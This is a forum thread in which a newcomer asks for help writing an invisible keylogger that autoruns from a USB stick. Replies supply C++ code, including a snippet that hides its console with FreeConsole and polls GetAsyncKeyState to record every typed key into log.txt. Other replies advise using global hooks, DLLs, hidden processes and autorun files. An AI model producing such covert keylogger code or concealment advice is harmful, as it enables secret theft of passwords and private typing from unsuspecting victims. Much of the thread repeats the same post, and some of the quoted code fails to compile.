Need Help Making Keylogger

Hi everyone,

My name is hayzam and i want to make an advanced keylogger and what to put it in a USB
So when I connect my usb it will open automatically and it must be invisible
one more thing i am a newbie to C++ so try to be easy on me

Thanks In advance,
Regards hayzam

Need Help Making Keylogger

Hi everyone,

My name is hayzam and i want to make an advanced keylogger and what to put it in a USB
So when I connect my usb it will open automatically and it must be invisible
one more thing i am a newbie to C++ so try to be easy on me

Thanks In advance,
Regards hayzam

Well good luck..

I wrote this code solely for my own programming practice. Ofcourse you can use it for making keyloggers and typing tutors. But I would advise you to use it in a good way.

#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <Windows.h>

using namespace std; 

FILE *f1;

int main()
{
  SYSTEMTIME st;
  GetSystemTime(&st);
  int i=0;
  char c='b';
  cout<<"The Program has been started...\n";
  cout<<"-------------------------------\n";
  f1 = fopen("keylogger.txt","a");
  fprintf(f1,"\nLog Opened on %d-%d-%d at %d:%d\n",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
LOOP:
	  while(!_kbhit())
	  {
	   c = (char) _getch(); 
	  
	   if(c=='!')
		   {
			  goto END; 
		   }
	   
	   else
		   {
		   fprintf(f1,"%c",c);
		   printf("%c",c);
		   i++;
		   }
	  }
  
END:
	  fprintf(f1,"\nLogged closed on %d-%d-%d at %d:%d",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
	  fclose(f1);
	  cout<<"\nProgram has been terminated";
	  cout<<"\nTotal Number of keys logged:"<<i<<"\n";

  return 0;
}

Sorry its not a keylogger this just save data into file what u write on that console screen not from other screen

Comments
Commenting without reading the post

@prvnkmr
If you read my post I said "YOU CAN USE THIS TO MAKE A KEYLOGGER" and ofcourse I wrote the code so I know what it is doing. Do you think I will give him the entire code?
I am not a hired programmer..

@Software guy

prvnkmr449 is right it is not a keylogger this just save data into file what u write on that console screen not from other screen

@+_+man
OK I don't want to have an argument here. I just want to say that, now days we have INTERNET, as you want to make this software so it is better if you try to look into hidden processes and autorun files.

I would have done it, if I wanted to make this program. But as it is not my software you should put some effort in. If prvkmr449 and you have a problem with this program. Then make a program and post the code.

You should start by reading about Hooks in MSDN.

http://msdn.microsoft.com/en-us/library/ms644959%28v=VS.85%29.aspx

There's no easy and universal way to create a keylogger. It all depends on what and how you want to do something...

Anyway, be also prepared to read about creating DLLs because that's the only way to create GLOBAL hooks. If your app is going to be invisible a global hook is mandatory.

And don't expect to get any help you if you want to create a virus or something...no offence...

using namespace std;

int main()
{
    char i=' ';
    int num=0;
    
    ofstream File;
    File.open("log.txt");
    
    FreeConsole();
    
    
    while(1)
    {

                  
            
            
            
     for(num=32;num<=90;num++)
     {
        switch(num)
     {
                  case 65: i='a'; break;
                  case 66: i='b'; break;
                  case 67: i='c'; break;
                  case 68: i='d'; break;
                  case 69: i='e'; break;
                  case 70: i='f'; break;
                  case 71: i='g'; break;
                  case 72: i='h'; break;
                  case 73: i='i'; break;
                  case 74: i='j'; break;
                  case 75: i='k'; break;
                  case 76: i='l'; break;
                  case 77: i='m'; break;
                  case 78: i='n'; break;
                  case 79: i='o'; break;
                  case 80: i='p'; break;
                  case 81: i='q'; break;
                  case 82: i='r'; break;
                  case 83: i='s'; break;
                  case 84: i='t'; break;
                  case 85: i='u'; break;
                  case 86: i='v'; break;
                  case 87: i='w'; break;
                  case 88: i='x'; break;
                  case 89: i='y'; break;
                  case 90: i='z'; break;
                  case 32: i=' '; break;
     }
                                  
                        
       if(GetAsyncKeyState(num))
       {
                File<<i;              
       }    
    }
     }
    File.close();
    
}
//to close it you must run task manager and end it
//it will be save to log.txt

Edited 6 Years Ago by Nick Evan: added code-tags

include these libarys

#include <iostream>
#include <windows.h>
#include <fstream>

I wrote this code solely for my own programming practice. Ofcourse you can use it for making keyloggers and typing tutors. But I would advise you to use it in a good way.

#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <Windows.h>

using namespace std; 

FILE *f1;

int main()
{
  SYSTEMTIME st;      (undefine symbom SYSTEMTIME in function main()  )
  GetSystemTime(&st);     
  int i=0;
  char c='b';
  cout<<"The Program has been started...\n";
  cout<<"-------------------------------\n";
  f1 = fopen("keylogger.txt","a");
  fprintf(f1,"\nLog Opened on %d-%d-%d at %d:%d\n",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
LOOP:
	  while(!_kbhit())
	  {
	   c = (char) _getch(); 
	  
	   if(c=='!')
		   {
			  goto END; 
		   }
	   
	   else
		   {
		   fprintf(f1,"%c",c);
		   printf("%c",c);
		   i++;
		   }
	  }
  
END:
	  fprintf(f1,"\nLogged closed on %d-%d-%d at %d:%d",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
	  fclose(f1);
	  cout<<"\nProgram has been terminated";
	  cout<<"\nTotal Number of keys logged:"<<i<<"\n";

  return 0;
}

Compiling .CPP:
error 12: Undefined symbol 'SYSTEMTIME' in function main()
error 12: Statement missing ; in function main()
error 13: Call to undefined function 'GetSystemTime' in function main()
error 13: Undefined symbol 'st' in function main()
error 22: Call to undefined function '_kbhit' in function main()
error 24: Call to undefined function '_getch' in function main()

Comments
necro rezzing

I wrote this code solely for my own programming practice. Ofcourse you can use it for making keyloggers and typing tutors. But I would advise you to use it in a good way.

#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <Windows.h>

using namespace std; 

FILE *f1;

int main()
{
  SYSTEMTIME st;      (undefine symbom SYSTEMTIME in function main()  )
  GetSystemTime(&st);     
  int i=0;
  char c='b';
  cout<<"The Program has been started...\n";
  cout<<"-------------------------------\n";
  f1 = fopen("keylogger.txt","a");
  fprintf(f1,"\nLog Opened on %d-%d-%d at %d:%d\n",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
LOOP:
	  while(!_kbhit())
	  {
	   c = (char) _getch(); 
	  
	   if(c=='!')
		   {
			  goto END; 
		   }
	   
	   else
		   {
		   fprintf(f1,"%c",c);
		   printf("%c",c);
		   i++;
		   }
	  }
  
END:
	  fprintf(f1,"\nLogged closed on %d-%d-%d at %d:%d",st.wDay,st.wMonth,st.wYear,
		  st.wHour,st.wSecond);
	  fclose(f1);
	  cout<<"\nProgram has been terminated";
	  cout<<"\nTotal Number of keys logged:"<<i<<"\n";

  return 0;
}

here some error

Compiling .CPP:
error 12: Undefined symbol 'SYSTEMTIME' in function main()
error 12: Statement missing ; in function main()
error 13: Call to undefined function 'GetSystemTime' in function main()
error 13: Undefined symbol 'st' in function main()
error 22: Call to undefined function '_kbhit' in function main()
error 24: Call to undefined function '_getch' in function main()

This article has been dead for over six months. Start a new discussion instead.